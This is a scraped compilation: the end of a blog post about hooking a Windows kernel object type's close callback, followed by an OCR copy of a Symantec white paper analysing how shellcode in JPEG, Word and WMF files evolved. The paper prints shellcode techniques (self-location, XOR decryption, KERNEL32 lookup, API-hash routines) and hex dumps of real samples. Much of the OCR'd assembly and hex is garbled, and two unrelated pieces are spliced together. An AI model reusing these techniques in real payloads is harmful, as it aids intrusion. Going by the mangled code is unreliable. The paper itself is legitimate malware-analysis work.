A **_third_** way is to get a pointer to the **ObTypeIndexTable** array, it’s
unexported by the kernel but there are multiple functions using it including
the exported **ObGetObjectType** function.So the address can be extracted from
the function's opcodes , but that will introduce another compatibility
problem. After getting the pointer to the **ObTypeIndexTable** you'll have to
walk through the whole table and preform a string comparison to the target's
object type name \("Process","Thread" ...etc\) against the Name field in each
**\_OBJECT\_TYPE** structure.  
  
In my case I hooked the Process object type , and I introduced in my code the
1st and the 2nd methods \(second one commented\).  
My hook isn’t executing any malicious code \!\! it’s just telling us \(using
DbgPrint\) that an attempt to close an open handle to a process was made.  
“An attempt” means that we’re not sure "yet" if the handle will be closed or
not because other checks are made after a successful call to the callback.And
by a successful call , I mean that the callback must return a value different
than 0 that’s why the hook function is returning 1. I said earlier that the
**ObpCloseHandleTableEntry** will proceed to check if the handle is protected
from being closed \(after returning from the callback\) if the
**OkayToCloseProcedure** is null or if it exists and returns 1 , that's why
it’s crucial that our hook returns 1.One more thing , I’ve done a small check
to see if the object type’s **OkayToCloseProcedure** is already NULL before
hooking it \(avoiding issues\).  
  
**_Example :_**  
For example when closing a handle to a process opened by **OpenProcess** a
debug message will display the handle value and the process who opened the
handle.  
As you can see "**TestOpenProcess.exe** " just closed a handle "0x1c" to a
process that it opened using **OpenProcess\(\)**.

<img src='img/Temp2_6842.jpg' />

**P.S : The hook is version specific.**  
  
  
_**Source codes :**_  
_Decompiled ObpCloseHandleTableEntry_ : http://pastebin.com/QL0uaCtJ  
_Driver Source Code_ : http://pastebin.com/Z2zucYGZ  
  
  
Your comments are welcome.  
  
**Souhail Hammou.**  
  
@Dark\_Puzzle

# Shellcode Evolution

**Created:**| _11/25/2010 7:54:36 AM_  
---|---  
**Updated:**| _10/30/2012 10:46:48 AM_  
**Author:**| __  
**Tags:**| __  
  

Shellcode Evolution

Montag, 12. Juli 2010

14:25

<img src='img/Temp2_7480.png' width='794' height='1123' alt='Machine generated
alternative text: b symantec. Evolving Shell Code Masaki Suenaga Symantec
Security Response, Japan Originally published by Virus Bulletin Conference.
October 2006. Copyright held by Virus Bulletin, Ltd., but is made available
courtesy of Virus Bulletin. For more ¡n formation on Virus Bulletin, please
visit htlp://virusbtn,com/' />

<img src='img/Temp2_7487.png' width='794' height='1123' alt='Machine generated
alternative text:' />

<img src='img/Temp2_7479.png' width='794' height='1123' alt='Machine generated
alternative text: White Paper: Symantec Security Response Evolving shell code
Contents Abstract .4 Shell code with vulnerability 4 Shell code in a network
packet 4 Shell code in a data file 4 Shell code in a Word document file 5 What
shell code does 6 Locating itself on memory 6 Decrypting 6 Resolving API 6
Executing payload 8 Downloading or dropping a file and executing 8 Opening a
backdoor 8 Evolution History 8 Decrypting shell 9 Checksum API resolving shell
9 Why do they use either 13 or 7? 10 Code obfuscating shell 11 FPU using shell
12 Host modifying shell 12 ASCII shell 14 DBCS-to-Unlcode conversion shell 16
Future 16 Larger host files 17 With a special weapon 17 MMX instruction using
shell 17 Packed shell 17 Location limiting shell 17 Hardtokill 17 Hiding 17
Many eggs 17 Various variants 18 Parasite 18 Injecting shell 18 File infecting
shell 18 Living in a niche 18 Environment-dependent shell 18 Mimic 18
Conclusion 19 References 19 3' />

<img src='img/Temp2_7489.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code Abstract Everything evolves. There are
no exceptions, even for shell code.First the code was hidden using encryption.
Now, it mimics the host data file. This paper discusses the evolution thus
far, and though impossible to know for certain, the probable future. Shell
code with vulnerability This paper deals with some types of shell code seen in
data files, such as image and document files used in Windows environments. A
piece of shell code is a small program which appears particularly in places
where programs are usually not supposed to be placed. They are sometimes
script code, such as VB scripts or MS-DOS BAT commands, otherwise they are
native machine code that runs on a desired CPU. The latter case is the focus
of this paper. For quite some time now, many pieces of shell code have
appeared in network packets, spreading net work worms This technique was later
utilized in data files as welL A jpg file was the first successful target,
exploiting a vulnerability that was found in September 2004. Symantec detects
this file as Trojan.Moo’. Since then, more and more types of data files are
being exploited each year, while the frequency with which we see new types of
network shell code is decreasing. Shell code ¡n a network packet Spybot worms
used to spread by exploiting the LSASS Remote Buffer Overflow. The exploit
shell code is sent to a target PC, being stored in a network packet. A sample
of a proof of concept of the vulnera bility does the following: • Decrypts the
code by XORing with 99h. • Gets the base address of the already loaded
KERNEL32.DLL. • Resolves the addresses of necessary APT entries. • Creates a
socket. • Connects to the attacker’s PC. • Calls CreateProcess, with
STARTUPINFO.hStdlnput, hStdOutput, and hStdError is set to the socket. In the
case of Spybot worms, the attacker’s PC will then send any command, such as
tftp host GET source-path’ to make the victim’s PC download a file from the
attacker’s PC. Shell code in a data file Shell code in a .jpg ¡ma ge file
Windows also has a vulnerability when handling .jpg image files (the Microsoft
GDI+ Library JPEG Segment Length Integer Underflow vulnerability). This
vulnerability allowed a specially crafted .jpg file to cause Internet Explorer
to execute arbitrary code stored in the .jpg file. 4' />

<img src='img/Temp2_7485.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code A user who visited a malicious web page
could be at risk, since just viewing the web page would cause the shell code
to execute. Users didn’t have the option to disable the handling of .jpg
files, as they weren’t thought to allow scripted actions. Shell code in Spybot
worms is included in executable files, and most users are wary of unknown EXE
files. In most cases, a user can choose whether or not to execute an EXE file.
But, what about .jpg files? There are often millions of .jpg files on a given
website, let alone those that exist worldwide. EXE files are hard to produce.
but a single push of a release button on a camera produces a new .jpg file,
more and more of which are posted on the web. Even if a user got caught by a
malicious image file and unwillingly executed a malicious program in the image
file on his PC. it would be hard for that user to trace the origin of the
program. The typical shell code in .jpg flies downloads and exe cutes a remote
file. Shell code in a Word document file Microsoft Word documents also pose a
threat to unpatched PCs, as they are susceptible to multiple vulnerabilities.
Macro viruses cannot run if the security level has been raised, but a shell
code in a Word document exploiting the vulnerability can. Just opening the
document flic will lead to arbitrary code execution. These Word documents are
often attached to email sent to a specific target organization. The email
title, body and attachment, and even the contents of the Word document, have
consistent context and appear very meaningful to the recipients in the
targeted organization. For example, suppose the tar get is a supermarket.
‘l’he mail title may be ‘Need to revise our wholesale prices’, and the message
body may tell the supermarket buyer about the situation, in their local
language, providing an attach ment with a decent file name. The contents of
the document may also be about the revision of prices. The only point in
question is the sender itself. If the mail is not for a personal matter but a
business one, the recipients would be likely to open the document without any
doubts. There was an incident in Japan where a manager of an e-commerce site
received an email from a customer complaining about the merchandise, with a
self-extracting EXE file attached for explanation. The manager opened the file
from the customer, and unfortunately, his bank account password was stolen by
a covertly installed password stealer program. The thief got away with quite a
bit of his money, as well. It is rarer to find Word documents on the web than
.jpg files. ‘l’hat may be why malicious Word docu ments are generally sent as
email attachments, and generally are not distributed in other ways. A typ ical
piece of shell code in Word documents drops and executes a program stored
within the same doc u men t , 5' />

<img src='img/Temp2_7493.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code What shell code does In whatever media a
piece of shell code resides. ¡t has to do its job. If it is a program written
in C and linked to an EXE file, the author need not think about where the code
is loaded in memory and how API addresses can be retrieved. The linker and
loader will fix up everything automatically. A piece of shell code, however,
must do it on its own. Locating itself on memory The basic way of locating
itself is shown below: ADDRESS1: CALL ADDRESS3 ADDRESS2: some pieces of code
ADDRESS3: POP EBX When the Cpu has executed the code at ADDRESS3, EBX contains
the address of ADDRESS2. Once it locates itself, it calculates any other
addresses relative to the addresses previously retrieved. This is why we see
many instructions that use operands like [EBX+ 14h]. Decrypting If a .jpg file
or a Word document contains ‘MZ inside, it is too obvious. ¡f a piece of shell
code is long enough, an anti-virus engine can sniff it as to whether it
contains a well known common part of shell code. From the perspective of the
virus author, this is something that should be avoided. Typically, a piece of
shell code starts to decrypt most of its body as soon as it gets started. In
some cases, it is only the part that will he dropped as a file, or a URL from
which to download a file, that is encrypted. In rare cases, the part to be
dropped is encrypted for the first time, and again encrypted together with the
shell code for the second time. Decryption algorithms are, for now, not
difficult. XOR, ADD and SUB are used alone or in combination as shown below:
ADDRESS1 MOV ECX400 ADDRESS2: LEA ESI,[ EBX+20] ADDRESS3: MOV EDI,ESI
ADDRESS4: LODS ADDRESS5: XOR AL, 99h ADDRESS6: STOSB ADDRESS7 LOOP ADDRESS4
Resolving API If a shell is running on MS-DOS or Linux, it can use the ¡NT
instruction to call a system function. On Windows, the ¡NT instruction can
only be called from privileged status. If a shell code wants to do something
meaningful, it must find the entry point of the APIs. 6' />

<img src='img/Temp2_7492.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code LoadLibrary and GetProcAddress are
exported by KERNEL32.DLL. Ifa piece of shell code gets just these two entry
addresses, it will be able to call any other APIs it needs. There is no need
to call GetProcAddress to get API addresses, as the addresses can be found in
memory. The problem is how to find where KERNEL32.DLL is loaded. If the attack
has a specific target, and the author knows what environment is there, he can
tise a precise address for KERNEL32.DLL, such as 77E60000h, since it will not
vary within the same environment. But no shell code has such a predetermined
address. In fact, it checks some values chaining from FS:[30h). A good
discussion of this topic can be found in a paper on the nologin.net Web site,
Understanding Windows Shellcode2. The simplest way is as shown below:
ADDRESS1: NOV EAX, FS:( 30h] ;EAX = 7FFDF000h ADDRESS2: NOV EAX, (EAXtOCh]
;EAX — OO191EAOh ADDRESS3: NOV ESI, (EAX,lCh) ;EAX = OO191F58h AIJDRESS4:
LODSO ;EAX = 00192020h ADDRESS5: NOV EBP, (EAX+81 ;EAX = 77E60000h
(KERNEL32.DLL) Now, you can get the base address of KERNEE32.DLL on Windows
XP. There ¡s another way of finding KERNEL32.DLL on memory as shown below:
ADDRESSI: XOR EBX, EBX AUDRESS2: NOV EAX, FS:( EBXI ;EAX = QQbFFEUh ADDRESS3:
INC EAX ADDRESS4: XCHG EAX, EBX ADDRESS5: NOV EAX, (EBX—1] ;EAX = OFFFFFFFFh
ADDRESS6: INC EAX ADDRESS7: JNZ ADDRESS4 ADDRESSB: NOV EUX, (EBX+3) ;EAX =
77E94O9h AÐDRESS9: XOR DX, DX ADDRESS1O: MOV AX, l000h AUDRESS21: CMP WORD PTR
( EDXI ,‘ ZN’ ADDRESSI2: JZ FOUND ;EDX = 7’lEEOOOOh (KERNEL32.DLL) ADDRESS13:
SUB EDX, EA)C ADDRESSI4: JXP ADDRESS11 FOUND: This method involves searching
memory pages downward for MZ’ of a module header. Once KER NEL32.DLL is found,
a shell code can get API addresses by calling GetProcAddress, which can be
found in the Export Table within KERNEL32.DLL from memory. In this case, API
names are seen in the shell code. 7' />

<img src='img/Temp2_7483.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code Executing payload Now the necessary APIs
are all resolved. A typical shell code downloads or drops another file, other
wise it opens a backdoor. This section will discuss the methodology of both of
these actions. Downloading or dropping a file and executing A typical
downloader calls the URlDownloadToFile API to download another program from
the Internet, and calls the CreateProcess or WinExec API. Image files tend to
be downloaders, whereas Microsoft Office documents have a tendency to have
another executable file in the host tIle. For exam ple, a shell code running
in the process of Word.exe will access the host Word document file, which is
kept open. To get the file handle used in the same process, a shell code
executes, for example. the fol lowing instructions: mov dword ptr [ebp—SOhl ,
0 ; hFileDocument SEARCH_MY_HANLDE_LOOP: add dword ptr I ebp—SOhl , 4 ;
hFileDocurnent push O may eax, [ebp—50h] ; hFileDocument push eax call dword
ptr ( esiI-lBhJ ; GetFileSize mov ecx, [ebp—48h] ; 24B87h (size of the dropped
file) add ecx, [ ebp—4Ch] ; 10200 (offset of the dropped file) cmp eax, ecx
jnz short SEARCH MY HANLDE LOOP ; hFileDocument FOI.JNDMYHNDLE: First it sets
hFileDocurnent to O. It then tries to access a file with hFileDocument until
the file size is found equal to what is known to the shell code, with
hFileDocument increased by 4 at each loop. Opening a backdoor There are some,
though very rare, cases where a shell code opens a socket to listen for
commands from outside. It just passes the input to cmd.exe, but is still
capable of doing many things. The shell code lives in an image file and can
run in the process of Internet Explorer that has opened the image. However,
this backdoor is not very useful, as simply closing Internet Explorer will
effectively stop the backdoor. Evolution History Now that we’ve discussed the
basic methodologies, let’s take a look at the overall evolution of shell code.
The following sections describe what has been found in the real world. 8' />

<img src='img/Temp2_7490.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code Decrypting shell A slightly more complex
decryption algorithm can be used instead of just XORing every byte. The sample
code below is found in a Word document, which is detected as Trojan.Mdropper
by Symantec. The DWORD decryption key changes every other DWORD. In other
words, it has an eight-byte decryption key. Another difference is that it does
not have the size to decrypt, but a specific signature to mark the end. It is
still a piece of cake, though. jmp do_decrypt decrypt_and_go pop edi ; ech
offset encrypted_area push edi pop esi ; esi offset encrypted_area xor ecx,
ccx loe 8A65: lodsd cmp eax, OFF773311h jz short encrypted_area test ecx, 1
jnz short loe 8A7C xor eax, 16D4AO7h jmp short loc_8A81 1 oc_A7 C: xor eax,
42BC4B2h loc8A8 1: atoad inc ecx imp short loc_8A65 do_decrypt: call
decrypt_and_go encrypted_area: Checksum API resolving shell The basic way to
get API addresses is by calling GetProcAddress API with a parameter of API
names. A more common way is to calculate checksums using API names, compare
with the necessary check sum values and get the corresponding API entry
addresses. Roughly 95% of the methods for calculat ing checksums fall into
four generic techniques. I’ll list these four methods for convenience here. .
Checksum Method I (Right-Rotation 13 w/o null terminator. ADDing): XOR EDI,EDI
XOR EAX,EAX LOOP_NEXT: LOS B OR EAX,EAX JZ END_LOOP g' />

<img src='img/Temp2_7486.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code ROR ED!, 13 ADD EDT, EAX JMP LOOP NEXT
END_LOOP: ‘ Checksum Method 2 (Left-Rotation 7 w/o null terminator, XORing):
XOR EDI,EDI XOR EAX,EAX LOO P NEXT : WS OR EAX,EAX JZ END_LOOP ROL ED!, 7 XOR
EDT, EAX JMP LOOP_NEXT END_LOOP: ‘ Checksum Method 3 (Right-Rotation 13 w!
null terminator, ADDing): XOR EDI,EDI XOR EAX,EAX LOO P NEXT : LOSB POR EDI,
13 OR EAX,EAX JZ END_LOOP ADD EDT, EAX JC1P LOOP NEXT END_LOOP: . Checksum
Method 4 (Left-Rotation 7 w! null terminator, XORing): XOR EDI,EDI XOR EAX,EAX
LOOP NEXT: LOSB ROL EDt, 7 OR EAX,EAX JZ END_LOOP XOR EDT, EAX JMP LOO P_NEXT
END_LOOP: Why do they use either 13 or 7’ Interestingly enough, the number of
rotations is either 13 or seven in roughly 90 per cent of the cases. Thirteen
is the number used in Understanding Windows Shellcode2. Seven might simply
have been pulled out of the air, or perhaps the author thought it would give
them luck. If we use other 10' />

<img src='img/Temp2_7484.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code numbers, are there any problems like
hitting multiple APIs with the same checksum value? Rotation count 1 2 3 4 5-7
8 9-11 12 13-15 16 17-19 20 2 1-23 24 25-27 28 29 30 31 kernel32.dll 7000000
00 1 0 0 0 0 0 0 0 0 0 urlmon.dll 0000000 00 0 0 0 0 0 0 0 0 0 0 ntdlldll 10 0
0 0 0 0 0 0 0 13 0 0 0 0 0 0 1 0 20 advapi32.dll 20 2 0 0 0 2 0 0 0 7 0 0 0 0
0 0 6 26 47 user32.dll 0001010 10 5 0 1 0 1 0 1 0 0 0 wsock32dll 1000000 00 2
0 0 0 0 0 0 0 0 0 ws2_32.dIl 00000 00 00 0 0 0 0 0 0 0 0 0 0 Table 1.1 METHOD
1 and METHOD 3 (Right-rotatIon, ADDing). Rotation count 1 2 3 4 5-7 8 9-11 12
13-15 16 17-19 20 2 1-23 24 25-27 28 29 30 31 kernel32.dll 4 0 0 0 0 0 0 0 0
24 0 0 0 0 0 0 0 0 0 urlmondll O O O O O O O O O O O O O O O O O O O ntdll.dll
11 0 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 0 8 advapi32.dll 44 25 5 0 0 2 0 0 0 22 0 0
0 2 0 0 0 1 21 user32,dll 2 0 0 1 0 1 0 1 0 12 0 1 0 1 0 1 0 0 0 wsock32.dIl 1
0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 1 ws2_32.dIl 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 Table 1.2 MITHOD 2 and METHOD 4 (Left-rotation. XORing). Tables LI and
1.2 illustrate the relationship between collisions of APIs and the number of
rotations. Using numbers that are too small or too large becomes dangerous.
Every multiple of four is also at risk of collision, especially when two APT
names are composed of the same characters, such as ClientToScreen and
ScreenToClient. The collisions in advapl32.dll in the case of the multiples of
four are between SystemFunctionOOl and SystemFunctiono4o, and between
SystemFunctionoo2 and SystemFunctionO4l, which are not necessary for shell
code. Thus, four, eight, 12, 20, 24 and 28 are virtually safe. The rotation
counts we should avoid are 1, 2, 16, 30 and 31. Three and 29 should be avoided
if only the related API is necessary. Zero is out of the question. The
rotation count three has been already found to be used in a shell code. Code
obfuscating shell Where is ebx + 401 l2Dh? Look at the following code snippet:
push ¡ lea ecx, ( ebx+40112DhJ ; file name? flop push ecx push edx call dword
ptr [ ebx+401191h) ; API? 11' />

<img src='img/Temp2_7477.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code We know that an address around 400000h
is used by executable files developed with default build options. Many EXE
files are located at 400000h. This fact makes us confused about addresses like
ebx + 40112Dh. At first glance we might think this shell code is targeting a
specific version of a specitìc program. But, if we trace back the EBX
register... ADDR0001DF4E call ADDR0001DFS3 ADDR0001DF53 pop ex AÐDR0001DF54
sub ebx, 4OlOA6h ; ebx = —3e3153h (1DF53h — 4O1OA6h) ADDR0001DF5Pt jmp
loc_1E068 loc_1E068 ;sorne pieces of code ADDR0001EO97 ‘nov [ ebx+401185h) ,
ebx ; [ADDR0001EO32J = EBX ADDR0001EO9D lea edx, [ ebx+4OlOB2hj ; EDX - offset
ADDR0001DF5F ;some pieces of code ADDR0001EOF4 mov ebx, [edx+OD3hj ; ebx -
(—3e3153h) ; 1DFFh+OD3h = 1EO32h The register EBX constantly means -3e3153h.
Thus, ebx+40112Dh is equal to 1DDFAh, where we can find a file path. EBX +
401191h is the address where the API address of CopyfileA is already stored.
That is not a difficult obfuscation, but still it takes more time to solve
manually. FPU using shell Visual BASIC often uses floating point unit (FPU)
instructions to calculate. It is less common to see FPU instructions in shell
code. Theoretically, there is almost no need to use real numbers in a short
shell code. They are used primarily to obfuscate the code. Look at the
following code: ADDRL FLDZ ADDR2 FNSTENV L ESP—OChj ADDR3 POP EBX The
instruction FLDZ pushes a real number of 0.0 to the stack top of the FPU
accumulators. The next fnstenv stores some FPU environment values to the
designated memory area, which is (ESP-OChl in this case. At this time, FESP]
contains the Instruction Pointer where the last FPU instruction was exe cuted,
which is ADDRI. Then, when POP EBX is executed, EBX is set to ADDR1. A
decryption code will follow it. When I first saw this, it took some additional
time to understand. Host modifying shell Miracle cure...? No, alas, it is too
late to save you. It is important for any successful espionage attempt to
eliminate any incriminating evidence. If the large wooden horse presented to
Troy had read ‘Warning: Grecian Military Inside’, it wouldn’t have made it
through the gates. Let’s imagine that a certain organization in Japan has
received an email with a Word document attached to it. The Word 12' />

<img src='img/Temp2_7488.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code document seems to be related to their
work, but may be from an untrusted source. Such Word docu ments often exploit
some vulnerability to drop a backdoor program called Backdoor.Graybird.
Graybirds are hard to find since they hide themselves. However, if the Word
application crashes when the document is opened, the user may notice that
something is amiss. The tgift’ will be well preserved and sent to their
favourite anti-virus laboratory. A detective working in the lab will analyse
the gift’ and tell the client that they should start looking for well-armed
Greek men in their computers. This is the possible impetus for some shell code
to attempt to erase the portion which was dropped in the host file, The
following is the evidence of their attempt to cover their tracks: push ;
FLEBEGTN push D nov eax, [ebp-4Chl ; offset dropped_binary push eax nov eax,
[ebp-50h) ; hFileDocument push eax call dword ptr [esi+OChl ; SetFilePointer
push 40000h push ‘10h call dword ptr [esi+20h] ; GlobalAlloc nov [ebp-4] , eax
; lpNem push 0 ; ipOverlapped lea eax, ebp—SSh] ; nNumberCfByteswritten push
eax nov eax, [ebp—18h] ; 24B87h (size of dropped file) push eax push dword ptr
[ebp-41 ; lpMem push dword ptr [ebp-50h1 ; hFileDocuinent call dword ptr
[esi+8J ; WriteFile I was able to get this because their attempt failed. It
contained a bug that increased the size of the Word document carelessly. The
size was compared to find the file handle in use. (And the email had been
saved, too.) To add an interesting story, I found a Word document that dropped
a backdoor but Word did not crash on Word 2002 running on Japanese Windows XP.
If the version of Word was not 2002, or the language version of Word was not
Japanese, either Word crashed or it did not drop the backdoor. The shell code
was designed to clean up the stack in a specific environment. ¡n addition, the
document con tained some meaningful information. It was less likely that they
would notice they were at risk. 13' />

<img src='img/Temp2_7478.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code ASCII shell Where have they gone? Figure
1 shows how the shell code usually looks in a hex editor. Hex values ASCII
characters 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6A 7F 59 D9
EE 09 74 24 F4 58 81. 73 13 80 ..j.Y. . .t$.( .s. .
S2OI01B3EBFCE2F47CB1DAB2BOEGBAO2 I 05 42 79 OD 08 C2 GD BA F0 9E AC SA ES BA
EA 08 .By Figure 1 Shell code in a hex editor. Virus analysts can sniff what
appear to be Cpu instructions. 43 37 48 97 99 9F 99 90 F9 FD 43 46 99 4F 4E 4A
C7K CF.ONJ 91 4A 96 27 98 F5 F9 37 47 93 96 3F FC 27 47 99 .J.’ ...7G..?.’G.
98 48 FC 47 F9 27 FC 3F 48 90 46 3F F9 43 2F 40 .14.G.’ .?H.F? .C/@ 42 9F 91
48 47 F8 43 4A F5 3F 49 48 97 4F 9F 48 8. .HG.CJ.?IH.0.K F8 92 EB 03 59 EB 05
ES F8 FF FF FF 49 49 49 49 ... .Y 1111 49 49 49 49 49 48 49 49 49 49 49 49 49
49 51 SA I!III14ItIIIII!OZ GA 43 58 50 30 41 31 41 42 68 42 41 53 42 32 42
jCXPOA1ABkBASB2B 41 32 41 41 30 41 41 58 50 38 42 42 75 4A 49 GA
A2AAOAAXP8BBuJIj 48 32 30 30 SA 32 GA 46 53 78 49 30 66 4E 59 57
K200Z2JFSxIOfNYW 4C 66 61 48 30 47 44 34 4A 4D 49 GD 32 7A SA GA
LfaKOGD4JNIrn2zZj 4Th 63 35 6E 58 6A 4E 6E 4F 6E 4F 79 6F 74 30 30
KcSkXjKkOkOyotOO 4C 7A 39 4F 69 6C 59 SA 63 49 6D 70 38 6C 69 GD
Lz9OilYzclmp8liin Figure 2 How about the example in Figure 2? Yes, the top
byte is already shell code. Let’s disassemble this. 43 inc ebx 37 aaa 4E dec
ebx 97 xchq eax, cdi 99 cdq 9F lalif 99 cdq 90 flop F9 stc F0 std 43 inc ebx
It is just a collection of garbage instructions. It does not seem to be able
to decrypt any place. The consecutive 49s, appearing as ‘11111’ in ASCII
characters, are very attractive. Increment and decrement operations are often
used instead of NOPs at the start of a shell code. Now let’s continue. 14' />

<img src='img/Temp2_7475.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code This intricacy of code lasts for a
while. It decrypts a few upcoming instructions, little by little. If the shell
code were to decrypt a larger area, it would need some tens of instructions,
which would soon be caught under scrutiny. Instead, by decrypting little by
little, so that the area looks just like a character field, the shell code
successfully mimics a data portion. This character field lasts for no less
than 700 bytes, which soon made me stop decrypting the code manually. T had to
resort to a method that involved converting the data file to an executable
file. Mimicking ASCII text is not the only way to hide. I saw the data shown
in Figure 3 in a .wmf file, a Windows Meta File. 1OEO 4A 43 4F 48 93 91 F9 F9
F8 4F 98 90 37 D6 10F0 4E 93 92 90 43 96 47 48 91 48 96 FC 42 40 1100 F8 F8 FE
97 4E 9B 41 F8 46 FC 93 FC 3F 48 1110 37 40 49 99 F5 F8 F8 42 4B FD 96 46 47
FD 1120 48 91 90 37 4F 37 FC 2F 06 49 4A 4E FC F0 1130 27 FC 6A 3C 59 D9 EE 09
74 24 F4 58 81 73 1140 91 F6 81 83 EB FC E2 F4 2F C5 7D C4 F8 lA 1150 BC 92 03
E7 4F E7 06 B2 31 A2 3F F8 85 3C 1160 F2 9E 48 A5 EC A9 04 Cs CC 50 3D BC C7
4E Figure 3 Data in a Windows Meta File. F9 06 JCOH 0._7... 06 91 N.. .C.GK.M.
.B@.. 46 F5 . .. .N.A.F. . .?HF. 37 90 71?t. .. .BK. .FG.7. FC 90 H.
.707./.IJN.... 13 C4 ‘.j<Y.. .t$.L .5.. 8284 14 C5 6A ....0...1.?..<.j 86 SA .
JI P—. .K.Z This random-looking data continues for some 1.5K bytes. At first
look it appears to be regular data in a WMF format. However, the shell code
starts at offset 1132h to decrypt the following code, and before the shell
code came many sets of NOP-equivalent instructions, which distracted me.
00000ADC 49 dec ecx 00000ADD 49 dec ecx ; ecx = OxABR 00000ADE 51 push ecx
00000ADF 5A pop edx ; edx = OxABB 00000AEO 6A 43 push 43h 00000AE2 58 pop eax
; eax = 0x43 00000AE3 50 push eax 00000AE4 30 41 31 xor L ecx+31hj , al ; XOR
byte ptr OxAECj ,43h 00000AE7 41 inc ecx ; ecx = OxABC 00000AEB 42 inc edx ;
edx OxABC 00000AE9 6B 42 41 53 irnul eax, L edxl-41h] , 53h ; 53h was modified
to 10h ; imul eax, edx+lOh) ...( OXAFDI ; AL—OxAO 00000AED 42 inc edx ; edx =
OxAED 00000AEE 32 42 41 xor al, [ edic+41h) ; AL = OxAO XOR 0x49 00000AFI 32
41 41 xor al, [ ecx+41h) ; AL — OxE9 XOP Ox4A 00000AF4 30 41 4: xor ( ecx+41h)
, al ; [ OxAFDI = Ox4A XO 00000AF7 58 pop eax ; eax 0x43 00000AFB 50 push eax
00000AF9 38 42 42 cmp ( edx+42h) , al ; crup 0x49,0x43 00000AFC 75 4A nz
loc_0B48 ; 4Ah was modified to OE9h (== OxE9) (—— OxA3) OxA3 (== OxE9) 15' />

<img src='img/Temp2_7476.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code DBCS-to-Unicode conversion shell This is
the latest technique as of this writing in May 2006. An exploited Word
document drops a pro gram file only on Chinese Windows environments. It is
impossible to find the shell code in the docu ment by using the traditional
methodology; for example by finding some familiar initial code. Let’s look at
the example below: CE B7 CO C5 C6 DF B4 D9 DF 5F 95 84 We cannot find any
shell code here which can be run on an Intel CPU. The string is, in fact,
composed of some Chinese characters from the GB-2312 character code set,
though the string itself is meaning less as a Chinese phrase. Microsoft Word
converts the string to Unicode for its own purposes and stores the Unicode
string in memory, or more precisely in the stack. The arbitrary code execution
occurs in the stack. Now let’s look at the converted Unicode string below: 4F
75 05 74 03 4E C3 4F 54 90 5E 66 Each Unicode character is 16 bits wide and
Little Endian. Every ASCII character is converted to a two- byte Unicode
character with a zero added. But every two-byte Chinese character is converted
to a two- byte Unicode without the zero. Languages that use Chinese
characters, namely Chinese and Japanese, use a wide range of Unicode. Korean
uses a wide range of Unicode Ilangeul characters as well. This fact enables
the attacker to write shell code in Unicode characters and convert them to
Double Byte Character Set, or DBCS, in order to store in a target file. It is
very difficult to utilize this technique using European, Cyrillic, Greek,
Arabic and other character sets, because the range of respective Unicode
characters is very limited. If the Unicode string is disassembled, we see the
following code: DEC EDT JNZ LABEL1 JZ LABEL1 DEC EST RETN DB 4Fh LABEL 1: PUSH
ESP NO P POP EST I DSW Future ¡n order for a living species to survive, it
should either become bigger, have a special weapon, become harder to kill,
hide to avoid being eaten, spawn many eggs, spawn a variety of minor variants,
become parasitic, live in a safer niche or mimic another species. Let’s assume
we can apply the rule of nature to the viral kingdom. 16' />

<img src='img/Temp2_7491.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code Larger host files Windows Media Video
(WMV) files have vulnerabilities. 1f a movie size is more than 600M bytes, I
will not want to check each byte. But, contrary to living organisms, a size
this large is not necessarily advantageous to survival. A user may cancel
downloading. With a special weapon MMX instruction using shell MMX
instructions can be seen in viruses to obfuscate the code. They can also be
used in shell code. MMX instructions may be used to decrypt by calculating
multiple bytes separately at one instruction. Virus analysts should be aware
of this potential technique. Packed shell Unpacking code will use up a lot of
space. But if the space permits. shell code can contain a deflating routine,
possibly with obfuscation techniques, to hide its intent. Location limiting
shell A shell code can search the memory of the current Internet Explorer
process for the current URL to use it as the decryption key. Anti-virus
vendors seldom know where the submitted file comes from, making it hard to
decrypt the shell code. (A Java script already did it.) Otherwise a shell code
can sniff as to whether it is a safe place for it to run. For example, if the
local IP address is not the expected one, it can cancel the planned attack.
The good news is that even if it is hard to understand, it is suspicious
enough for a non-executable 111e to be marked as a virus if it contains a
shell code. It is not worth making such an effort to constrain the location.
Hard to kill Data files do not execute by themselves. It is very difficult to
design a data file with shell code to run any time and thwart its removal.
Moreover, once another program is dropped, the data file is no longer
necessary. Shell code will not evolve in this direction. Hiding Shell code is
hidden by design. If the content is not shown, or the related application
crashes, a user might notice. Future shell code can clean up the stack and
lead the application to a safe status in which it can continue without any
problems being obvious from the users’ perspective. Many eggs Worms spread by
sending many copies. File infectors survive by infecting as many files as
possible. How about shell code? Vulnerability in .jpg files can be exploited
when Windows Explorer displays the 17' />

<img src='img/Temp2_7494.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code file, even in a preview pane or
thumbnail form. If such a file puts many copies in every accessible file
folder, including network shares, it will survive for much longer. Various
variants Since shell code is a part of a data tile, the data portion can
easily be modified. These variants will survive until virus definitions catch
the common characteristics. Parasite Injecting shell A shell code can inject
code into another running process. where it performs another malicious action
like downloading a file. It may take some additional minutes to analyse such a
shell code. Nevertheless, it provides no other impact, because shell code is
already similar to injected code in the sense that it runs in an unexpected
process. File infecting shell A Windows Help file is a known file format that
can be infected. Every data file that has room for arbitrary code, not only in
machine code but also in any scripts, can be infected. An elaborate JPEG tile,
supposing the machine is still vulnerable, can search the drives for all the
.jpg files to insert a shell or replace some portion of the file with shell
code. I’ve never heard of an infectious image file, but it is certainly
possible. There could even be a heterogeneous infector that infects many file
types. To make matters worse, image files are ready to be published to the
web, especially when the infected computer is used for web publication. A user
browsing the web with a modern browser is given the choice of whether or not
to download each .exe file, however this is not the case in the event of an
